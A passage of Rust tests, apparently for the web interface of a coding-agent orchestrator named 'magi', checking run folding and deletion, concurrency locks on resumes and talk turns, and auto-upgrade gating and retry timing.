21369 let open = builder.find("refs = {").expect("createRunCard sets refs");
21370 let literal = &builder[open + "refs = {".len()..];
21371 let close = literal.find('}').expect("the refs literal is closed");
21372 let published: HashSet<&str> = literal[..close]
21373 .split(',')
21374 .filter_map(|entry| entry.split(':').next())
21376 .map(str::trim)
21377 .filter(|name| !name.is_empty())
21378 .collect();
21379 assert!(
21380 published.len() > 5,
21381 "the refs literal did not parse into names: {published:?}"
21382 );
21383
21384 let mut used: Vec<&str> = Vec::new();
21387 let updaters = &APP_JS[update..end];
21388 for (at, _) in updaters.match_indices("r.") {
21389 let before = updaters[..at].chars().next_back();
21392 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
21393 continue;
21394 }
21395 let rest = &updaters[at + 2..];
21396 let len = rest
21397 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
21398 .unwrap_or(rest.len());
21399 if len > 0 {
21400 used.push(&rest[..len]);
21401 }
21402 }
21403 assert!(
21404 used.len() > 5,
21405 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
21406 );
21407
21408 let missing: Vec<&str> = used
21409 .iter()
21410 .copied()
21411 .filter(|name| !published.contains(name))
21412 .collect();
21413 assert!(
21414 missing.is_empty(),
21415 "a run card's updater reaches for {missing:?}, which `createRunCard` \
21416 never put in `refs` - every card will throw and the list will \
21417 render empty under a count line that says otherwise. Published: \
21418 {published:?}"
21419 );
21420 }
21421
21422 #[tokio::test]
21423 async fn folding_from_the_phone_reports_what_it_removed() {
21424 let fx = Fixture::start().await;
21425 let runs = fx.runs();
21426
21427 let id = "20260901-000000-fold";
21431 write_run(&runs, id, RunStatus::Stalled);
21432 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21433 assert_eq!(res.status, 200);
21434 assert_eq!(res.json()["removed_count"], 0);
21435 assert_eq!(res.json()["run"], id);
21436 assert!(
21437 runs.join(id).exists(),
21438 "a fold keeps the run's record; only the worktrees go"
21439 );
21440 }
21441
21442 #[tokio::test]
21443 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
21444 let fx = Fixture::start().await;
21445 let runs = fx.runs();
21446 let wt = fx.home.path().join("wt").join("magi").join("dead");
21447 let id = "20260901-000000-dead";
21448 std::fs::create_dir_all(runs.join(id)).expect("run dir");
21449 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21450 std::fs::create_dir_all(&wt).expect("worktree dir");
21451
21452 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21453 assert_eq!(res.status, 200, "{}", res.body);
21454 assert!(
21455 res.json()["removed_count"].as_u64().unwrap() > 0,
21456 "the worktree this build could not read a state for still went"
21457 );
21458 assert!(
21459 !runs.join(id).exists(),
21460 "an unreadable run has no candidate list to fold selectively, so \
21461 the whole record goes - same as `magi fold` on the CLI"
21462 );
21463 }
21464
21465 #[tokio::test]
21466 async fn deleting_an_unreadable_run_removes_it_wholesale() {
21467 let fx = Fixture::start().await;
21468 let runs = fx.runs();
21469 let wt = fx.home.path().join("wt").join("magi").join("gone");
21470 let id = "20260901-000000-gone";
21471 std::fs::create_dir_all(runs.join(id)).expect("run dir");
21472 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21473 std::fs::create_dir_all(&wt).expect("worktree dir");
21474
21475 let res = fx.delete(&format!("/api/runs/{id}")).await;
21476 assert_eq!(res.status, 204, "{}", res.body);
21477 assert!(!runs.join(id).exists(), "the broken record is gone");
21478 assert!(!wt.exists(), "its worktree is gone too");
21479 }
21480
21481 #[tokio::test]
21482 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
21483 let fx = Fixture::start().await;
21484 let runs = fx.runs();
21485 let id = "20260901-000000-live";
21486 write_run(&runs, id, RunStatus::Implementing);
21487
21488 let mut beat = crate::daemon::Status::new();
21489 beat.current = vec![crate::daemon::Current {
21490 task: "20260901-000000-task".to_owned(),
21491 run: id.to_owned(),
21492 }];
21493 beat.updated_at = jiff::Timestamp::now();
21494 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21495 .expect("publish a heartbeat");
21496
21497 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21498 assert_eq!(res.status, 409);
21499 assert!(
21500 res.json()["error"]
21501 .as_str()
21502 .unwrap()
21503 .contains("live daemon"),
21504 "folding under a running agent would pull its worktree away"
21505 );
21506 }
21507
21508 #[tokio::test]
21509 async fn fold_merged_requires_a_pr_url() {
21510 let fx = Fixture::start().await;
21511 let runs = fx.runs();
21512 let id = "20260901-000000-nourl";
21513 write_run(&runs, id, RunStatus::Blocked);
21514
21515 let res = fx
21516 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
21517 .await;
21518 assert_eq!(res.status, 400, "{}", res.body);
21519
21520 let blank = fx
21521 .post(
21522 &format!("/api/runs/{id}/fold-merged"),
21523 Some(r#"{"pr_url":" "}"#),
21524 )
21525 .await;
21526 assert_eq!(blank.status, 400, "{}", blank.body);
21527 }
21528
21529 #[tokio::test]
21530 async fn fold_merged_is_404_for_an_unknown_run() {
21531 let fx = Fixture::start().await;
21532 let res = fx
21533 .post(
21534 "/api/runs/nosuchrun/fold-merged",
21535 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21536 )
21537 .await;
21538 assert_eq!(res.status, 404, "{}", res.body);
21539 }
21540
21541 #[tokio::test]
21542 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
21543 let fx = Fixture::start().await;
21544 let runs = fx.runs();
21545 let id = "20260901-000000-livemerge";
21546 write_run(&runs, id, RunStatus::Blocked);
21547
21548 let mut beat = crate::daemon::Status::new();
21549 beat.current = vec![crate::daemon::Current {
21550 task: "20260901-000000-task".to_owned(),
21551 run: id.to_owned(),
21552 }];
21553 beat.updated_at = jiff::Timestamp::now();
21554 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21555 .expect("publish a heartbeat");
21556
21557 let res = fx
21558 .post(
21559 &format!("/api/runs/{id}/fold-merged"),
21560 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21561 )
21562 .await;
21563 assert_eq!(res.status, 409, "{}", res.body);
21564 assert!(
21565 res.json()["error"]
21566 .as_str()
21567 .unwrap()
21568 .contains("live daemon"),
21569 "correcting a run's merge underneath a running agent would race \
21570 whatever it is doing to the same `status`/`merge` fields"
21571 );
21572 }
21573
21574 #[tokio::test]
21579 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
21580 let fx = Fixture::start().await;
21581 let runs = fx.runs();
21582 let id = "20260901-000000-unconfirmed";
21583 write_run(&runs, id, RunStatus::Blocked);
21584
21585 let res = fx
21586 .post(
21587 &format!("/api/runs/{id}/fold-merged"),
21588 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21589 )
21590 .await;
21591 assert_eq!(res.status, 400, "{}", res.body);
21592 assert_eq!(
21593 read_run(&runs, id).unwrap().status,
21594 RunStatus::Blocked,
21595 "a pull request that could not be confirmed merged must leave \
21596 the run exactly where it was"
21597 );
21598 }
21599
21600 #[tokio::test]
21601 async fn terminal_runs_cannot_be_resumed() {
21602 let fx = Fixture::start().await;
21603 let runs = fx.runs();
21604
21605 for (status, word) in [
21606 (RunStatus::Merged, "merged"),
21607 (RunStatus::Ready, "ready"),
21608 (RunStatus::Failed, "failed"),
21609 ] {
21610 let id = format!("20260901-000000-{}", &word[..4]);
21611 write_run(&runs, &id, status);
21612 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
21613 assert_eq!(res.status, 409, "{word} must not be resumable");
21614 }
21615 }
21616
21617 #[tokio::test]
21618 async fn resume_is_refused_while_the_loop_is_running() {
21619 let fx = Fixture::start().await;
21620 let runs = fx.runs();
21621 let stalled = "20260901-000000-stal";
21622 write_run(&runs, stalled, RunStatus::Stalled);
21623
21624 let mut beat = crate::daemon::Status::new();
21628 beat.current = vec![crate::daemon::Current {
21629 task: "20260901-000000-task".to_owned(),
21630 run: "20260901-000000-othr".to_owned(),
21631 }];
21632 beat.updated_at = jiff::Timestamp::now();
21633 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21634 .expect("publish a heartbeat");
21635
21636 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
21637 assert_eq!(res.status, 409);
21638 let err = res.json()["error"].as_str().unwrap().to_owned();
21639 assert!(err.contains("othr"), "it names what the loop is on: {err}");
21640 assert!(err.contains("stop it first"), "{err}");
21641 }
21642
21643 #[test]
21644 fn a_run_cannot_be_resumed_twice_at_once() {
21645 let home = TempDir::new().expect("temp home");
21646 let ui = Ui::new(
21647 Queue::at(home.path().join("queue")),
21648 Questions::at(home.path().join("questions")),
21649 Talks::at(home.path().join("talks")),
21650 home.path().join("runs"),
21651 home.path().to_path_buf(),
21652 PathBuf::from("/repo"),
21653 )
21654 .with_worktrees_root(home.path().join("wt"));
21655 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
21656 let again = ui.begin_resume("20260901-000000-once");
21657 assert!(again.is_err(), "a second tap must not start a second graph");
21658 drop(first);
21659 assert!(
21660 ui.begin_resume("20260901-000000-once").is_ok(),
21661 "and the claim is released when the attempt ends"
21662 );
21663 }
21664
21665 #[test]
21666 fn talk_thinking_tracks_only_its_held_turn_claim() {
21667 let home = TempDir::new().expect("temp home");
21668 let ui = Ui::new(
21669 Queue::at(home.path().join("queue")),
21670 Questions::at(home.path().join("questions")),
21671 Talks::at(home.path().join("talks")),
21672 home.path().join("runs"),
21673 home.path().to_path_buf(),
21674 PathBuf::from("/repo"),
21675 )
21676 .with_worktrees_root(home.path().join("wt"));
21677 let id = "20260901-000000-once";
21678
21679 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
21680 let turn = ui.begin_talk_turn(id).expect("claim turn");
21681 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
21682 assert!(
21683 !ui.is_thinking("20260901-000000-other"),
21684 "one talk's turn does not make another talk busy"
21685 );
21686 drop(turn);
21687 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
21688 }
21689
21690 #[test]
21691 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
21692 let home = TempDir::new().expect("temp home");
21693 let talks = Talks::at(home.path().join("talks"));
21694 let ui = Ui::new(
21695 Queue::at(home.path().join("queue")),
21696 Questions::at(home.path().join("questions")),
21697 talks.clone(),
21698 home.path().join("runs"),
21699 home.path().to_path_buf(),
21700 PathBuf::from("/repo"),
21701 )
21702 .with_worktrees_root(home.path().join("wt"));
21703 let id = "20260901-000000-cross";
21704
21705 let other = Talks::at(home.path().join("talks"))
21706 .claim_turn(id)
21707 .expect("claim")
21708 .expect("the other process wins");
21709 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
21710 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
21711 assert!(
21712 matches!(
21713 ui.begin_talk_turn_unless_pending(id).expect("start"),
21714 TalkTurnStart::Foreign
21715 ),
21716 "a foreign holder is refused, not queued behind"
21717 );
21718 assert!(
21719 !ui.talk_turns.lock().unwrap().live.contains(id),
21720 "a refused claim leaves no in-process entry behind"
21721 );
21722 drop(other);
21723 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
21724 assert!(talks.turn_held(id), "the web turn holds the lease");
21725 drop(turn);
21726 assert!(
21727 !talks.turn_held(id),
21728 "dropping the guard releases the lease"
21729 );
21730 }
21731
21732 fn consult_question(ui: &Ui) -> Question {
21733 let mut q = Question::new(
21734 "20260901-000000-consult".to_owned(),
21735 "implement".to_owned(),
21736 "impl-A".to_owned(),
21737 "Which backend?".to_owned(),
21738 String::new(),
21739 vec!["SQLite".to_owned(), "Redis".to_owned()],
21740 );
21741 ui.questions.put(&mut q).expect("question");
21742 q
21743 }
21744
21745 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
21746 (
21747 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
21748 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
21749 )
21750 }
21751
21752 #[tokio::test]
21753 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
21754 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
21755 let q = consult_question(&ui);
21756 let talk = ui.talks.get(&id).expect("talk");
21757 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
21758 let before = consult_snapshot(&ui, &q, &id);
21759 let cli_talks = Talks::at(ui.home.join("talks"));
21760 assert_eq!(
21761 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
21762 .await
21763 .expect("CLI starter"),
21764 crate::consult::Started::Busy
21765 );
21766 assert_eq!(consult_snapshot(&ui, &q, &id), before);
21767 assert!(ui.is_thinking(&id));
21768 drop(guard);
21769 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
21770 }
21771
21772 #[tokio::test]
21773 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
21774 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
21775 let q = consult_question(&ui);
21776 let talk = ui.talks.get(&id).expect("talk");
21777 let started = tmp.path().join("started");
21778 let release = tmp.path().join("release");
21779 let script = tmp.path().join("consult-agent.sh");
21780 std::fs::write(
21781 &script,
21782 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
21783 )
21784 .expect("script");
21785 let mut cfg = stub_config();
21786 cfg.agents[0].id = "mock".to_owned();
21787 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
21788 cfg.agents[0].env = std::collections::BTreeMap::from([
21789 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
21790 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
21791 ]);
21792 let questions = ui.questions.clone();
21793 let cli_talks = Talks::at(ui.home.join("talks"));
21794 let cli_q = q.clone();
21795 let turn = tokio::spawn(async move {
21796 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
21797 });
21798 let ready = tokio::time::timeout(Duration::from_secs(30), async {
21799 while !started.exists() {
21800 tokio::time::sleep(Duration::from_millis(10)).await;
21801 }
21802 })
21803 .await;
21804 let refusal = if ready.is_ok() {
21807 let before = consult_snapshot(&ui, &q, &id);
21808 let result = talk_say(
21809 State(Arc::clone(&ui)),
21810 Path(id.clone()),
21811 Ok(Json(NewTalkTurn {
21812 reply_to: None,
21813 text: "another message".to_owned(),
21814 attachments: Vec::new(),
21815 })),
21816 )
21817 .await;
21818 Some((result, before, consult_snapshot(&ui, &q, &id)))
21819 } else {
21820 None
21821 };
21822 std::fs::write(&release, "").expect("release agent");
21823 let done = turn.await.expect("join CLI turn");
21824 ready.expect("agent started before deadline");
21825 let (result, before, after) = refusal.expect("web request");
21826 let error = result.expect_err("web must refuse the CLI's turn");
21827 assert_eq!(error.status, StatusCode::CONFLICT);
21828 assert!(error.message.contains("a turn is already running"));
21829 assert_eq!(
21830 after, before,
21831 "refusal preserves question, draft and history"
21832 );
21833 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
21834 let guard = ui
21835 .begin_talk_turn(&id)
21836 .expect("web claim")
21837 .expect("free again");
21838 drop(guard);
21839 }
21840
21841 #[test]
21842 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
21843 let home = TempDir::new().expect("temp home");
21844 let talks = Talks::at(home.path().join("talks"));
21845 let ui = Ui::new(
21846 Queue::at(home.path().join("queue")),
21847 Questions::at(home.path().join("questions")),
21848 talks.clone(),
21849 home.path().join("runs"),
21850 home.path().to_path_buf(),
21851 PathBuf::from("/repo"),
21852 )
21853 .with_worktrees_root(home.path().join("wt"));
21854 let id = "20260901-000000-order";
21855 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
21856 let slots = ui.talk_turns.lock().unwrap();
21858 let dropper = std::thread::spawn(move || drop(turn));
21859 let start = std::time::Instant::now();
21860 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
21861 std::thread::sleep(Duration::from_millis(5));
21862 }
21863 assert!(!talks.turn_held(id), "the lease is released first");
21864 assert!(slots.live.contains(id), "the slot is still held meanwhile");
21865 drop(slots);
21866 dropper.join().expect("join");
21867 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
21868 }
21869
21870 #[tokio::test]
21871 async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
21872 let fx = Fixture::start().await;
21873 let mut beat = crate::daemon::Status::new();
21874 beat.worker_protocol = None;
21875 beat.pid = 4321;
21876 beat.updated_at = jiff::Timestamp::now();
21877 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21878 .expect("publish a heartbeat");
21879
21880 let res = fx.post("/api/upgrade", None).await;
21881 assert_eq!(res.status, 409);
21882 }
21883
21884 #[test]
21891 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
21892 assert!(!should_spawn_recheck(&crate::config::Update {
21893 mode: UpdateMode::Off,
21894 interval: None,
21895 auto_restart: false,
21896 }));
21897
21898 unsafe {
21901 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
21902 }
21903 let killed = should_spawn_recheck(&crate::config::Update {
21904 mode: UpdateMode::Notify,
21905 interval: None,
21906 auto_restart: false,
21907 });
21908 unsafe {
21909 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
21910 }
21911 assert!(
21912 !killed,
21913 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
21914 one-time startup check"
21915 );
21916
21917 assert!(should_spawn_recheck(&crate::config::Update {
21918 mode: UpdateMode::Notify,
21919 interval: None,
21920 auto_restart: false,
21921 }));
21922 }
21923
21924 #[test]
21930 fn recheck_poll_period_tracks_a_short_configured_interval() {
21931 let short = crate::config::Update {
21932 mode: UpdateMode::Notify,
21933 interval: Some("1m".to_owned()),
21934 auto_restart: false,
21935 };
21936 let period = recheck_poll_period(&short);
21937 assert!(
21938 period <= Duration::from_secs(30),
21939 "a one-minute interval must wake the task far sooner than the \
21940 default ceiling, or the deck would not notice within the \
21941 interval the operator configured: got {period:?}"
21942 );
21943
21944 let default = crate::config::Update {
21945 mode: UpdateMode::Notify,
21946 interval: None,
21947 auto_restart: false,
21948 };
21949 assert_eq!(
21950 recheck_poll_period(&default),
21951 UPDATE_RECHECK_POLL_MAX,
21952 "the default day-long interval should poll at the (capped) \
21953 ceiling rather than needlessly often"
21954 );
21955 }
21956
21957 #[test]
21965 fn recheck_skips_the_network_before_the_interval_elapses() {
21966 let dir = TempDir::new().expect("temp dir");
21967 let path = dir.path().join("state.json");
21968 let state = kaishin::UpdateCheckState {
21969 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
21970 last_known_latest: None,
21971 last_known_url: None,
21972 };
21973 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
21974
21975 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
21976 assert!(
21977 !update_recheck_due(&checker, None),
21978 "a check made moments ago must not be repeated before the \
21979 configured interval elapses"
21980 );
21981 }
21982
21983 #[test]
21989 fn recheck_defers_to_an_upgrade_already_in_flight() {
21990 let dir = TempDir::new().expect("temp dir");
21991 let path = dir.path().join("state.json");
21992 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
21993 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
21994
21995 assert!(
21996 !update_recheck_due(&checker, Some(&progress)),
21997 "a recheck must not run while an upgrade this deck started is \
21998 still moving"
21999 );
22000 }
22001
22002 #[tokio::test]
22003 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
22004 unsafe {
22016 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
22017 }
22018 let fx = Fixture::start().await;
22019 let res = fx.post("/api/upgrade", None).await;
22020 unsafe {
22021 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
22022 }
22023 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
22024 let body = res.json();
22025 assert!(body["to"].is_null(), "there was no release to move to");
22026 assert!(body["parked"].is_null(), "and nothing was parked");
22027 assert!(
22028 body["detail"]
22029 .as_str()
22030 .unwrap()
22031 .contains("disabled by MAGI_NO_AUTOUPDATE"),
22032 "{body:?}"
22033 );
22034 }
22035
22036 #[test]
22037 fn auto_upgrade_decision_respects_policy_work_and_failed_tags() {
22038 use AutoUpgradeDecision::{Skip, Trigger, Wait};
22039 let mut cfg = Update::default();
22040 assert!(matches!(
22041 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22042 Skip(_)
22043 ));
22044 cfg.auto_restart = true;
22045 assert_eq!(
22046 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22047 Trigger
22048 );
22049 assert_eq!(
22050 auto_upgrade_decision(&cfg, false, false, true, "v2", None),
22051 Wait
22052 );
22053 for (disabled, moving, failed) in [
22054 (true, false, None),
22055 (false, true, None),
22056 (false, false, Some("v2")),
22057 ] {
22058 assert!(matches!(
22059 auto_upgrade_decision(&cfg, disabled, moving, false, "v2", failed),
22060 Skip(_)
22061 ));
22062 }
22063 assert_eq!(
22064 auto_upgrade_decision(&cfg, false, false, false, "v3", Some("v2")),
22065 Trigger
22066 );
22067 cfg.mode = UpdateMode::Off;
22068 assert!(matches!(
22069 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22070 Skip(_)
22071 ));
22072 }
22073
22074 #[test]
22075 fn auto_upgrade_waits_for_detached_workers_but_not_the_scheduler() {
22076 let home = TempDir::new().unwrap();
22077 let ui = idle_ui(&home);
22078 assert!(!ui.auto_upgrade_busy());
22079 let directory = home.path().join("workers/jobs/abcdef");
22080 std::fs::create_dir_all(&directory).unwrap();
22081 let mut job = crate::worker::Job {
22082 id: "abcdef".into(),
22083 sequence: 1,
22084 kind: "scheduler".into(),
22085 key: "scheduler".into(),
22086 payload: serde_json::json!({}),
22087 generation: "test".into(),
22088 version: None,
22089 status: crate::worker::Status::Running,
22090 result: None,
22091 pid: None,
22092 created_at: 0,
22093 finished_at: None,
22094 };
22095 let lease = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
22096 let write = |job: &crate::worker::Job| {
22097 std::fs::write(directory.join("job.json"), serde_json::to_vec(job).unwrap()).unwrap();
22098 };
22099 write(&job);
22100 assert!(!ui.auto_upgrade_busy(), "an idle scheduler permits updates");
22101 for kind in ["task", "chat"] {
22102 job.kind = kind.into();
22103 write(&job);
22104 assert!(ui.auto_upgrade_busy(), "a detached {kind} defers updates");
22105 }
22106 drop(lease);
22107 let free = std::time::Instant::now() + std::time::Duration::from_secs(10);
22113 loop {
22114 let probe = std::fs::OpenOptions::new()
22115 .read(true)
22116 .write(true)
22117 .open(directory.join("live.lock"))
22118 .unwrap();
22119 if crate::pr_head::try_lock_file(&probe).is_ok() {
22120 break;
22121 }
22122 assert!(
22123 std::time::Instant::now() < free,
22124 "the worker lease was never released"
22125 );
22126 std::thread::sleep(std::time::Duration::from_millis(5));
22127 }
22128 assert!(
22129 !ui.auto_upgrade_busy(),
22130 "completed execution permits updates"
22131 );
22132 std::fs::create_dir_all(home.path().join("workers/jobs/bad")).unwrap();
22133 assert!(
22134 ui.auto_upgrade_busy(),
22135 "unreadable worker state defers updates"
22136 );
22137 }
22138
22139 fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
22140 Box::pin(async { anyhow::bail!("test installer failed") })
22141 }
22142
22143 #[tokio::test]
22144 async fn auto_upgrade_uses_shared_progress_and_failure_cleanup_only_when_idle() {
22145 let home = TempDir::new().unwrap();
22146 std::fs::write(
22147 home.path().join("magi.toml"),
22148 "[update]\nauto_restart = true\n",
22149 )
22150 .unwrap();
22151 let mut ui = idle_ui(&home);
22152 ui.repo = home.path().to_path_buf();
22153 ui.upgrade_runner = fail_test_upgrade;
22155 let ui = Arc::new(ui);
22156 let latest = || {
22157 Some(kaishin::LatestRelease {
22158 tag_name: "v999.0.0".into(),
22159 html_url: String::new(),
22160 })
22161 };
22162 ui.talk_turns.lock().unwrap().live.insert("busy".into());
22163 assert_eq!(
22164 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22165 .await
22166 .status(),
22167 StatusCode::NO_CONTENT
22168 );
22169 assert!(updater::read_progress(home.path()).is_none());
22170 ui.talk_turns.lock().unwrap().live.clear();
22171 let gate = ui.upgrade_gate.lock().await;
22172 assert_eq!(
22173 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22174 .await
22175 .status(),
22176 StatusCode::CONFLICT
22177 );
22178 drop(gate);
22179 assert_eq!(
22180 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22181 .await
22182 .status(),
22183 StatusCode::ACCEPTED
22184 );
22185 let progress = updater::read_progress(home.path()).unwrap();
22186 assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
22187 assert_eq!(progress.stage, updater::Stage::Downloading);
22188 assert!(progress.parked_run.is_none());
22189 assert!(ui.start_detached_loop().await.is_err());
22190 assert!(ui.start_loop(None).is_err());
22191 assert!(ui.begin_resume("late").is_err());
22192 tokio::time::timeout(Duration::from_secs(2), async {
22193 while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
22194 tokio::task::yield_now().await;
22195 }
22196 })
22197 .await
22198 .unwrap();
22199 let progress = updater::read_progress(home.path()).unwrap();
22200 assert_eq!(progress.stage, updater::Stage::Failed);
22201 assert_eq!(
22202 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22203 .await
22204 .status(),
22205 StatusCode::NO_CONTENT
22206 );
22207 let result = upgrade_checked(&ui, "old".into(), Ok(latest()));
22209 assert_eq!(
22210 finish_upgrade_request(&ui, result).status(),
22211 StatusCode::ACCEPTED
22212 );
22213 assert_eq!(
22214 updater::read_progress(home.path()).unwrap().trigger,
22215 updater::UpgradeTrigger::Manual
22216 );
22217 tokio::time::timeout(Duration::from_secs(2), async {
22218 while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
22219 tokio::task::yield_now().await;
22220 }
22221 })
22222 .await
22223 .unwrap();
22224 }
22225
22226 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
22227 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
22228 p.stage = stage;
22229 p
22230 }
22231
22232 #[test]
22233 fn busy_stages_match_the_ui_set() {
22234 use crate::updater::Stage;
22235 assert!(APP_JS.contains(
22236 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
22237 ));
22238 for s in [
22239 Stage::Downloading,
22240 Stage::Replaced,
22241 Stage::Parking,
22242 Stage::Restarting,
22243 ] {
22244 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
22245 }
22246 for s in [Stage::Done, Stage::Failed] {
22247 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
22248 }
22249 assert!(upgrade_in_motion(None).is_none());
22250 }
22251
22252 #[tokio::test]
22253 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
22254 use crate::updater::Stage;
22255 for stage in [
22256 Stage::Downloading,
22257 Stage::Replaced,
22258 Stage::Parking,
22259 Stage::Restarting,
22260 ] {
22261 let fx = Fixture::start().await;
22262 let seeded = seeded_progress(stage);
22263 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
22264 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
22265 .expect("read");
22266
22267 let res = fx.post("/api/upgrade", None).await;
22268 assert_eq!(res.status, 409, "{stage:?}");
22269 let err = res.json()["error"].as_str().unwrap().to_owned();
22270 assert!(err.contains("already in progress"), "{err}");
22271 assert!(err.contains(stage.as_str()), "{err}");
22272
22273 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
22274 .expect("read");
22275 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
22276 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
22277 .unwrap_or_default();
22278 assert!(!log.contains("signalling HANDOVER"), "{log}");
22279 }
22280 }
22281
22282 #[test]
22283 fn upgrade_retry_timing_only_parses_known_diagnostics() {
22284 assert_eq!(
22285 upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
22286 Some(3723)
22287 );
22288 assert_eq!(
22289 upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
22290 Some(60)
22291 );
22292 assert_eq!(
22293 upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
22294 Some(0)
22295 );
22296 for message in [
22297 "permission denied",
22298 "GitHub API rate limit exceeded",
22299 "GitHub rate limit (resets in unknown)",
22300 "GitHub rate limit (resets in 18446744073709551615d)",
22301 ] {
22302 assert_eq!(upgrade_retry_after(message), None, "{message}");
22303 }
22304 }
22305
22306 #[tokio::test]
22307 async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
22308 let home = TempDir::new().unwrap();
22309 let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
22310 ui.start_loop(None).unwrap();
22311 updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
22312 let before = std::fs::read(updater::progress_path(home.path())).unwrap();
22313 let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
22314 let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
22315 let response = finish_upgrade_request(&ui, result);
22316 assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
22317 assert_eq!(response.headers()["retry-after"], "120");
